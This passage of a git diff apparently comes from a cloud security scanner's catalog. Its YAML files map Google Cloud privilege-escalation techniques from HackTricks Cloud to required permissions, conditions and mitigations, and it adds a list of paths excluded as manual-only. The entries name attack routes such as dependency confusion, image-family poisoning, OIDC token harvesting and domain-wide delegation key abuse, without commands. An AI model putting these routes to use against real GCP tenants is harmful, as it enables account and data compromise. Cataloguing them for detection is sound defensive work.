src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigqueryroutinescreate--bigqueryconnectionsdelegateuse--invoke-cloud-run-through-a-remote-function + technique: Invoke one protected Cloud Run endpoint through an exact remote function + reason: 'Manual-only: exact connection, routine, endpoint, prior denial, and later allowed invocation require a reviewed + before/after proof that the collector does not produce.' + +- id: gcp-bms-direct-initial-secret-exact-server-user + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bare-metal-solution-privesc.md#retrieve-a-still-valid-initial-server-password + technique: Reach one BMS server user through its still-valid initial password secret + reason: 'Manual-only: the exact password must still work for the named BMS server user and allow a new OS action; a normal + inventory cannot perform that login proof.' + +- id: gcp-composer-environments-executeairflowcommand + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md#composerenvironmentsexecuteairflowcommand--retrieve-airflow-secrets-or-run-available-dag-code + technique: Execute Airflow CLI commands in a Composer environment + reason: 'Manual-only: the recorded permission and environment identity do not establish a supported Airflow CLI path or + an existing DAG or connection that provides code execution or a usable credential.' + +- id: gcp-bigquery-table-row-credential + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#verified-service-account-private-key-in-table-rows + technique: Read BigQuery table rows + reason: 'Manual-only: a normal inventory does not read table rows or verify a reusable private key, exact service-account + subject, and successful authentication.' + +- id: gcp-compute-images-create-family-poison + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#poison-a-consumed-custom-image-family + technique: Publish a newer image into an image family consumed by instance templates + reason: 'Manual-only: a family reference in an instance template does not show that a workload consumes it, the source image + is controlled, or a later VM boots that image.' diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/_excluded_main_reconciliation.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/_excluded_main_reconciliation.yaml new file mode 100644 index 0000000000..27186dee81 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/_excluded_main_reconciliation.yaml @@ -0,0 +1,175 @@ +# Main-only privilege paths reviewed and excluded from CSPM execution and UI. HackTricks Cloud source remains. +- id: gcp-artifactregistry-repositories-update-dependency-confusion + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md#dependency-confusion + technique: Reconfigure a virtual repository's upstreams to enable dependency confusion + reason: The target uses uncollected artifact_consumer attachment inventory; repository update permission + alone cannot establish package resolution, a publishable upstream, and a later consumer install. The + prior reviewed source exclusion marks dependency confusion manual-only. + disposition: manual-only +- id: gcp-artifactregistry-tags-update + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md#artifactregistrytagsupdate--repoint-a-mutable-tag-to-another-stored-version + technique: Repoint a mutable tag to an attacker digest already in the package + reason: The target uses uncollected artifact_consumer attachment inventory, so it cannot bind a mutable + tag, alternate package version, and workload that later pulls it. The prior reviewed source exclusion + marks this exact tag-repoint path manual-only. + disposition: manual-only +- id: gcp-cloudfunctions-setiampolicy-actas + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md#cloudfunctionsfunctionsupdate--source-upload--replace-an-existing-privileged-function + technique: gcp-cloudfunctions-setiampolicy-actas + reason: Google Cloud Functions documentation says only execution permissions are allowed at the per-function + IAM level, so function setIamPolicy cannot self-grant update or sourceCodeSet. The old reviewed exclusion + records this path as invalid; project-level deployment grants are covered by separate active techniques. + disposition: invalid-or-retired +- id: gcp-firebaseapphosting-backends-update-source + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-app-hosting-privesc.md#backend-hijack--repoint-source-or-runtime-identity + technique: gcp-firebaseapphosting-backends-update-source + reason: Manual-only path. Backend update permission and an existing backend do not prove control of + an accepted replacement GitHub repository, the live branch, automatic rollout settings, path filters, + or a later build. Keep the technique documented in HackTricks Cloud; exclude it from CSPM execution + and the UI. Exact build-and-rollout paths remain active. + disposition: manual-only +- id: gcp-firebaseauth-configs-update-exact-idp-principal + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md#firebaseauthconfigsupdate--hijack-identity-platform-blocking-functions + technique: gcp-firebaseauth-configs-update-exact-idp-principal + reason: Manual-only path. Configuration update permission does not prove an attacker-controlled deployed + blocking function, enabled forwarding for the actual IdP credential, a later supported federated sign-in, + token capture, or new IdP access. Keep the technique documented in HackTricks Cloud; exclude it from + CSPM execution and the UI. + disposition: manual-only +- id: gcp-firebaseauth-users-update-exact-user-credential + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md#firebaseauthusersupdate--take-over-an-application-user-or-set-privileged-custom-claims + technique: gcp-firebaseauth-users-update-exact-user-credential + reason: Manual-only path. User-update permission does not prove an exact usable account, accepted password + change, sign-in as that user, or an application action newly allowed to the caller. Keep the technique + documented in HackTricks Cloud; exclude it from CSPM execution and the UI. + disposition: manual-only +- id: gcp-integration-invoke-input-effect-12 + source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md#integrationsintegrationsinvoke--invoke-a-credentialed-workflow + technique: Invoke existing published credentialed integration with chosen inputs + reason: The selector is generic gcp_challenge_fact; no Integration inventory or collector establishes + the exact published version, credentialed task, chosen input, successful invocation, and new target + action. The declared invoke permission alone cannot name a second principal or an added permission. + disposition: manual-only +- id: gcp-integration-invoke-input-effect-13 + source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md#http-connector-credential-forwarding + technique: Redirect credentialed HTTP connector via caller-controlled URL + reason: The selector is generic gcp_challenge_fact; no collector establishes an existing HTTP connector, + caller-controlled URL field, forwarded credential, exact subject, or newly allowed action. The declared + invoke permission alone cannot name a second principal or an added permission. + disposition: manual-only +- id: gcp-pa-s03-4-dialogflow + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dialogflow-post-exploitation.md#dialogflowwebhooksupdate--redirect-retained-external-authentication-material + technique: Redirect a routed webhook retaining an external credential + reason: The selector is generic gcp_challenge_fact; no collector establishes routed webhook use, retained + external authentication material, later token forwarding, or a newly allowed action. The webhook update + grant alone is not a verified external-identity path. + disposition: manual-only +- id: gcp-runtimeconfig-configs-setiampolicy-config-self-grant + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-runtimeconfig-privesc.md#runtimeconfigconfigssetiampolicy--self-grant-administration-of-one-config + technique: Self-grant runtimeconfig.variables.get on a config + reason: Manual-only path. The scanner collects neither an exact runtimeconfig resource with its IAM + policy nor the grantable role and effective before/after permission. The only current path uses externally + reviewed mutation evidence, so a normal CSPM scan cannot establish this self-grant. Keep the HackTricks + Cloud technique documented; exclude it from CSPM execution and the UI. + disposition: manual-only +- id: gcp-s08-10-receive-monitoring-service-agent-oidc-tokens + source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-monitoring-persistence.md#scheduled-service-agent-oidc-token-harvesting---monitoringuptimecheckconfigscreate--an-endpoint-you-control + technique: Receive Monitoring service-agent OIDC tokens + reason: The selector is generic gcp_challenge_fact; no collector establishes a resource-typed uptime + check, its token audience, a receiver, or downstream authorization as the Monitoring service agent. + Uptime-check creation alone cannot establish a usable OIDC-token privilege path. + disposition: manual-only +- id: gcp-saasservicemgmt-release-unit-actuation + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-app-lifecycle-manager-privesc.md#saasservicemgmtreleasescreate--unitoperationscreate--rolloutscreate--apply-attacker-terraform-as-an-actuation-service-account + technique: Apply an attacker blueprint release to existing Units as their actuation service account + reason: Manual-only path. The scanner does not collect existing Units, their actuation service accounts, + compatible release and rollout topology, or a resulting actuation. IAM permissions alone cannot establish + a specific service-account authority gain. Keep the HackTricks Cloud procedure documented; exclude + it from CSPM execution and the UI. + disposition: manual-only +- id: gcp-secretmanager-managed-rotation-exact-cloudsql-user + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md#secretmanagersecretsenablemanagedrotation--reset-a-cloud-sql-users-password-through-the-secret-identity + technique: Reset one Cloud SQL user's password through managed secret rotation + reason: Manual-only path. The scanner does not run password rotation, verify the exact Cloud SQL user + and secret identity, or authenticate with a new password to prove a newly allowed database action. + The current path depends on externally reviewed login evidence. Keep the HackTricks Cloud technique + documented; exclude it from CSPM execution and the UI. + disposition: manual-only +- id: gcp-securesourcemanager-push-cicd + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secure-source-manager-privesc.md#cicd-supply-chain-code-execution + technique: Push code to a repository that feeds a CI/CD pipeline + reason: Manual-only path. The collector has no Secure Source Manager repository or repository-controlled + triggers file inventory, so it cannot join a writable ref to an automatic build and its exact service + account. Keep the technique in HackTricks Cloud; exclude it from CSPM execution and the UI. + disposition: manual-only +- id: gcp-securesourcemanager-setiampolicy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secure-source-manager-privesc.md#securesourcemanagerinstancessetiampolicy--repositoriessetiampolicy--iam-self-grant-to-readpoison-source + technique: Self-grant write on a Secure Source Manager instance or repository through IAM + reason: Manual-only path. IAM self-grant alone cannot establish a linked automatic build; the collector + lacks the repository, branch, triggers file and build-service-account join. Keep the technique in + HackTricks Cloud; exclude it from CSPM execution and the UI. + disposition: manual-only +- id: gcp-servicedirectory-namespaces-setiampolicy-self-grant + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-service-directory-privesc.md#servicedirectorynamespacesservicessetiampolicy--resource-scoped-iam-persistence + technique: Self-grant servicedirectory.services.create on a namespace + reason: Manual-only path. The scanner collects neither an exact servicedirectory resource with its IAM + policy nor the grantable role and effective before/after permission. The only current path uses externally + reviewed mutation evidence, so a normal CSPM scan cannot establish this self-grant. Keep the HackTricks + Cloud technique documented; exclude it from CSPM execution and the UI. + disposition: manual-only +- id: gcp-servicedirectory-services-setiampolicy-self-grant + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-service-directory-privesc.md#servicedirectorynamespacesservicessetiampolicy--resource-scoped-iam-persistence + technique: Self-grant servicedirectory.services.update on a service + reason: Manual-only path. The scanner collects neither an exact servicedirectory resource with its IAM + policy nor the grantable role and effective before/after permission. The only current path uses externally + reviewed mutation evidence, so a normal CSPM scan cannot establish this self-grant. Keep the HackTricks + Cloud technique documented; exclude it from CSPM execution and the UI. + disposition: manual-only +- id: gcp-spanner-databases-setiampolicy-database-self-grant + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-spanner-privesc.md#spannerdatabasessetiampolicy--spannerinstancessetiampolicy--grant-database-access + technique: Self-grant spanner.databases.read on a database + reason: Manual-only path. The scanner collects neither an exact spanner resource with its IAM policy + nor the grantable role and effective before/after permission. The only current path uses externally + reviewed mutation evidence, so a normal CSPM scan cannot establish this self-grant. Keep the HackTricks + Cloud technique documented; exclude it from CSPM execution and the UI. + disposition: manual-only +- id: gcp-spanner-instances-setiampolicy-instance-self-grant + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-spanner-privesc.md#spannerdatabasessetiampolicy--spannerinstancessetiampolicy--grant-database-access + technique: Self-grant spanner.databases.read on a instance + reason: Manual-only path. The scanner collects neither an exact spanner resource with its IAM policy + nor the grantable role and effective before/after permission. The only current path uses externally + reviewed mutation evidence, so a normal CSPM scan cannot establish this self-grant. Keep the HackTricks + Cloud technique documented; exclude it from CSPM execution and the UI. + disposition: manual-only +- id: gcp-workspace-addons-deployment-update + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-addons-privesc.md#gsuiteaddonsdeploymentsupdate + technique: Repoint an existing HTTP Workspace add-on deployment to a source-controlled endpoint + reason: Manual-only path. The collector does not inventory the exact installed HTTP deployment, its + consenting users and scopes, or a later invocation of the changed endpoint. Deployment-update permission + alone cannot establish a Workspace user authority edge. Keep the technique in HackTricks Cloud; exclude + it from CSPM execution and the UI. + disposition: manual-only +- id: gcp-workspace-cloud-dns-admin-recovery + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-privesc.md#cloud-dns-to-workspace-administrator-recovery + technique: Publish the administrator-recovery DNS challenge for the Workspace primary domain + reason: Manual-only path. The collector does not establish that a writable public Cloud DNS zone is + actually delegated for the Workspace tenant's primary domain or that administrator recovery accepts + the challenge. A lookalike or private zone must not create a Workspace administrator edge. Keep the + technique in HackTricks Cloud; exclude it from CSPM execution and the UI. + disposition: manual-only +- id: gcp-workspace-dwd-key-create + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-privesc.md#compromise-existing-delegation + technique: Create a key for a domain-wide-delegated service account + reason: Manual-only path. A key creation grant cannot establish that the exact service account has a + Workspace domain-wide-delegation grant, that a subject and scope are accepted, or that the created + key yields a delegated token. Keep the technique in HackTricks Cloud; exclude it from CSPM execution + and the UI. + disposition: manual-only +- id: gcp-workspace-dwd-keyless-signjwt + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-privesc.md#keyless-dwd-abuse-with-signjwt-or-signblob + technique: Sign a delegation JWT with a domain-wide-delegated service account's Google-managed key + reason: Manual-only path. GCP IAM can establish signJwt or signBlob permission, but the collector cannot + read the Workspace tenant's domain-wide-delegation client grant, approved scopes, or a successful + delegated token exchange. Keep the technique in HackTricks Cloud; exclude it from CSPM execution and + the UI. + disposition: manual-only diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/accesscontextmanager.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/accesscontextmanager.yaml new file mode 100644 index 0000000000..fe51488c70 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/accesscontextmanager.yaml @@ -0,0 +1 @@ +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/agentregistry.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/agentregistry.yaml index 3fcd31909a..030cdbaec0 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/gcp/agentregistry.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/agentregistry.yaml @@ -2,7 +2,8 @@ # GCP Agent Registry privilege escalation techniques. # Source: hacktricks-cloud gcp-privilege-escalation/gcp-agent-registry-privesc.md (rev 171e422). # Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. -# A reviewed execution record must identify the exact Agent Registry Skill and consumer. +# attached_to_service: agentregistry_skill_consumer -> runtime identity of a managed agent / environment that mounts the +# logical Skill in "{target.artifact_arn}" (floating defaultRevision); agent mount inventory is not collected. - id: gcp-agentregistry-skill-default-revision-replace provider: gcp service: agentregistry diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/apigee.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/apigee.yaml index 1e937b3a76..58d29608cc 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/gcp/apigee.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/apigee.yaml @@ -1,6 +1,6 @@ # Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. # GCP Apigee privilege escalation techniques (GCP identity only; API traffic/credential tampering is excluded). -# Source: hacktricks-cloud gcp-privilege-escalation/gcp-apigee-privesc.md (proxy rev 171e422; shared-flow rev 80bf7fe60f). +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-apigee-privesc.md (rev 171e422). # Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. - id: gcp-apigee-proxy-deploy-with-sa-actas diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/artifactregistry.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/artifactregistry.yaml index b25bf56c73..7ecbfdc0bb 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/gcp/artifactregistry.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/artifactregistry.yaml @@ -2,6 +2,9 @@ # GCP Artifact Registry privilege escalation techniques (supply chain into workloads that pull artifacts). # Source: hacktricks-cloud gcp-privilege-escalation/gcp-artifact-registry-privesc.md (rev 171e422); gcr.io squat and dependency confusion now live on gcp-persistence/gcp-artifact-registry-persistence.md. # Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: artifact_consumer -> run-as SA of any workload (GKE node/KSA-bound GSA, Cloud Run, Cloud Build, VM, +# Batch, Vertex, ...) whose image/package reference resolves to the repository in "{target.artifact_arn}". The consumer +# mapping must come from collected workload specs; pinned-digest references are not affected. - id: gcp-artifactregistry-upload-artifacts provider: gcp service: artifactregistry diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/beyondcorp.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/beyondcorp.yaml new file mode 100644 index 0000000000..fe51488c70 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/beyondcorp.yaml @@ -0,0 +1 @@ +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/bigquery_row_policy.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/bigquery_row_policy.yaml index e7ef6c3dea..446dde19d0 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/gcp/bigquery_row_policy.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/bigquery_row_policy.yaml @@ -1,6 +1,7 @@ # A row-policy GRANT TO automatically gives the named principal the system-managed -# filteredDataViewer role. Native policy inventory distinguishes a new grant from -# access already held through an existing row policy. +# filteredDataViewer role. A path requires typed reviewed before/after evidence +# for an exact table and the acting principal; the DDL permission alone is not +# proof that the caller was granted access. # Canonical policy: peaso/privesc/catalog_policy.yaml - id: gcp-bigquery-row-policy-create-self-grant provider: gcp diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/bigtable.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/bigtable.yaml new file mode 100644 index 0000000000..fe51488c70 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/bigtable.yaml @@ -0,0 +1 @@ +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/bms_external.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/bms_external.yaml new file mode 100644 index 0000000000..99664d27f5 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/bms_external.yaml @@ -0,0 +1,3 @@ +# A BMS initial password is not a path merely because a secret was read. The +# exact server user, live password, and newly allowed OS action require review. +# Canonical policy: peaso/privesc/catalog_policy.yaml diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/bounded_access.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/bounded_access.yaml new file mode 100644 index 0000000000..bfcdf7011b --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/bounded_access.yaml @@ -0,0 +1,6 @@ +# Indirect object access is a new bounded effective permission only when the +# source can perform every declared action on exact resources and reviewed +# before/after evidence proves the same protected action became allowed. +# Wildcard prefilter requirements are narrowed to exact ActionResources by +# gcp_bounded_access_gain; they never authorize an edge on their own. +# Canonical policy: peaso/privesc/catalog_policy.yaml diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudbuild.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudbuild.yaml index 46aeaebbce..23948f0f4f 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudbuild.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudbuild.yaml @@ -41,44 +41,6 @@ - https://cloud.google.com/build/docs/securing-builds/configure-user-specified-service-accounts - https://docs.cloud.google.com/build/docs/iam-roles-permissions notes: HackTricks scopes the user-specified SA to SAs inside the build project. This entry also covers the trigger path (HackTricks cloudbuild.triggers.create / cloudbuild.triggers.run section). Google documents that triggers.create, patch, delete and run all require cloudbuild.builds.create; there are no cloudbuild.triggers.* IAM permissions, and the trigger's SA still needs actAs, so the trigger path has exactly this permission set. -- id: gcp-cloudbuild-builds-create-cross-project-actas - provider: gcp - service: cloudbuild - title: Submit a build with a cross-project service account - source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md#cloudbuildbuildscreate--execute-build-steps-as-a-build-service-account - source_revision: 171e422 - summary: The source may run build steps as a service account from another project when its project allows cross-project attachment and the Cloud Build service agent can mint its tokens. - requires: - all_of: - - action: iam.serviceAccounts.actAs - resource: "{target.email}" - - action: cloudbuild.builds.create - resource: "*" - target: - kind: gcp_service_account - selector: - gcp_actas_granted_on_target: true - gcp_cross_project_cloudbuild: true - scope: any - aggregate_as: "Service accounts usable by builds in another project" - conditions: - - id: cloudbuild_api_enabled - description: Cloud Build API must be enabled on the exact build project; denied or incomplete service inventory leaves the attachment unresolved. - - id: cross_project_service_agent - description: The build project's Cloud Build service agent needs Service Account Token Creator on the target service account. - - id: cross_project_org_policy - description: The target service account project's effective iam.disableCrossProjectServiceAccountUsage policy must be unenforced. - - id: submission_path - description: Google documents gcloud build submission or trigger creation for this cross-project configuration. - blockers: - - gcp_deny_policy - - vpc_sc_perimeter - confidence: conditional - severity: critical - mitigation: Keep cross-project attachment and service-agent token grants limited to intended build projects and service accounts. - references: - - https://cloud.google.com/build/docs/securing-builds/configure-user-specified-service-accounts - - id: gcp-cloudbuild-builds-create-default-identity provider: gcp service: cloudbuild @@ -175,3 +137,40 @@ references: - https://docs.cloud.google.com/build/docs/iam-roles-permissions notes: Without a trigger consuming attacker-writable input the impact is SCM repository access only. A pinned or separate build config, manual approval, a CEL filter, an unconfirmed connection or repository, or a cross-project repository or build identity leaves the path unresolved. +- id: gcp-cloudbuild-builds-create-cross-project-actas + provider: gcp + service: cloudbuild + title: Submit a build with a cross-project service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md#cloudbuildbuildscreate--execute-build-steps-as-a-build-service-account + source_revision: 171e422 + summary: The source may run build steps as a service account from another project when its project allows cross-project attachment and the Cloud Build service agent can mint its tokens. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: cloudbuild.builds.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_cross_project_cloudbuild: true + scope: any + aggregate_as: "Service accounts usable by builds in another project" + conditions: + - id: cloudbuild_api_enabled + description: Cloud Build API must be enabled on the exact build project; denied or incomplete service inventory leaves the attachment unresolved. + - id: cross_project_service_agent + description: The build project's Cloud Build service agent needs Service Account Token Creator on the target service account. + - id: cross_project_org_policy + description: The target service account project's effective iam.disableCrossProjectServiceAccountUsage policy must be unenforced. + - id: submission_path + description: Google documents gcloud build submission or trigger creation for this cross-project configuration. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Keep cross-project attachment and service-agent token grants limited to intended build projects and service accounts. + references: + - https://cloud.google.com/build/docs/securing-builds/configure-user-specified-service-accounts diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/clouddeploy.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/clouddeploy.yaml index 0bdde88e9b..5daadbaf68 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/gcp/clouddeploy.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/clouddeploy.yaml @@ -2,7 +2,9 @@ # GCP Cloud Deploy privilege escalation techniques. # Source: hacktricks-cloud gcp-privilege-escalation/gcp-cloud-deploy-privesc.md (rev 171e422). # Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. -# Render-account paths use collected pipelines, targets, and custom target types where an existing resource is required. +# attached_to_service: clouddeploy_target -> execution SA of an existing target/pipeline (executionConfigs[].serviceAccount, +# defaultPool/privatePool.serviceAccount, falling back to the Compute Engine default SA) and the runtime SA of the Cloud Run +# service / GKE workload the target deploys to. "{target.host_resource}" = that delivery pipeline. - id: gcp-clouddeploy-pipeline-target-release-actas provider: gcp diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudfunctions.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudfunctions.yaml index f23e358a2b..742e296442 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudfunctions.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudfunctions.yaml @@ -4,7 +4,7 @@ # Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. # Deploying/updating a function requires actAs on the runtime SA and on a user-managed or Compute default build SA (Google # documents Service Account User on both); only the legacy Google-owned builder is exempt. Source upload is -# cloudfunctions.functions.sourceCodeSet on the project/location for GenerateUploadUrl. Triggering the function may need cloudfunctions.functions.invoke (gen1) or run.routes.invoke (gen2). +# cloudfunctions.functions.sourceCodeSet (v1 GenerateUploadUrl) or cloudfunctions.functions.generateUploadUrl (v2). Triggering the function may need cloudfunctions.functions.invoke (gen1) or run.routes.invoke (gen2). - id: gcp-cloudfunctions-create-actas provider: gcp diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudidentity.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudidentity.yaml index b48f3dca87..fa4553e921 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudidentity.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudidentity.yaml @@ -2,8 +2,9 @@ # GCP Cloud Identity (Google Groups) privilege escalation techniques. # Source: hacktricks-cloud gcp-privilege-escalation/gcp-cloudidentity-privesc.md (rev 171e422). # Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. -# cloudidentity.groups.memberships.create is a synthetic requirement resolved from a Workspace -# Groups Admin / Super Admin role or a group's self-join settings, not a GCP IAM permission. +# cloudidentity.groups.memberships.create is NOT a GCP IAM permission on the group: the evaluator must resolve it from the +# source's Cloud Identity group role on that group (OWNER or MANAGER), a Workspace Groups Admin / Super Admin role, or a +# group whose settings allow self-join (see SCHEMA EXTENSIONS: group-management facts). - id: gcp-cloudidentity-add-member-to-group provider: gcp diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudsql_external.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudsql_external.yaml index 5e863029aa..dd88605be9 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudsql_external.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudsql_external.yaml @@ -1,3 +1,4 @@ # Managed rotation is an exact database-principal pivot only after the target # user, usable new password, and newly allowed database action are reviewed. # Canonical policy: peaso/privesc/catalog_policy.yaml +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudtasks.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudtasks.yaml index 9c652521f0..57ca3282c6 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudtasks.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/cloudtasks.yaml @@ -2,8 +2,8 @@ # GCP Cloud Tasks privilege escalation techniques. # Source: hacktricks-cloud gcp-privilege-escalation/gcp-cloudtasks-privesc.md (rev 171e422). # Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. -# HTTP tasks can send OAuth-authenticated requests to *.googleapis.com or deliver an OIDC token with a chosen audience. -# The Cloud Tasks service agent mints either token; actAs is enforced at enqueue, also for queue-level overrides. +# HTTP tasks with an OAuth token make attacker-defined requests to *.googleapis.com as the SA (token minted by the Cloud +# Tasks service agent; actAs is enforced at enqueue, also for queue-level overrides). OIDC-only paths are excluded. - id: gcp-cloudtasks-tasks-create-actas provider: gcp diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/configcontroller.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/configcontroller.yaml index 94c98da712..15e2cbd330 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/gcp/configcontroller.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/configcontroller.yaml @@ -3,7 +3,8 @@ # GCP Config Controller / Config Connector (KCC) privilege escalation techniques. # Source: hacktricks-cloud gcp-privilege-escalation/gcp-config-controller-privesc.md (rev 171e422). # Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. -# The target is a bounded project IAM grant through a collected KCC identity and watched namespace. +# attached_to_service: config_connector_identity -> the Google SA configured in the ConfigConnectorContext (or the +# cluster-mode ConfigConnector object) of the Config Controller / KCC cluster {target.host_resource}. - id: gcp-configcontroller-kcc-resource-write provider: gcp source_kind: diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/dialogflow.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/dialogflow.yaml new file mode 100644 index 0000000000..d6aa292afe --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/dialogflow.yaml @@ -0,0 +1,2 @@ +# GCP Dialogflow credential routes. The required collector fact is not yet available. +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/domains.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/domains.yaml index 3c7cc6f1d0..e0d208ed01 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/gcp/domains.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/domains.yaml @@ -1,7 +1,7 @@ # Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. # GCP Cloud Domains privilege escalation techniques. # Source: hacktricks-cloud gcp-post-exploitation/gcp-cloud-domains-post-exploitation.md (rev 171e422). -# Joins ACTIVE registrations to the Workspace customer's recorded primary domain. +# Needs the domains_registration inventory {name, domainName} (not collected yet -> 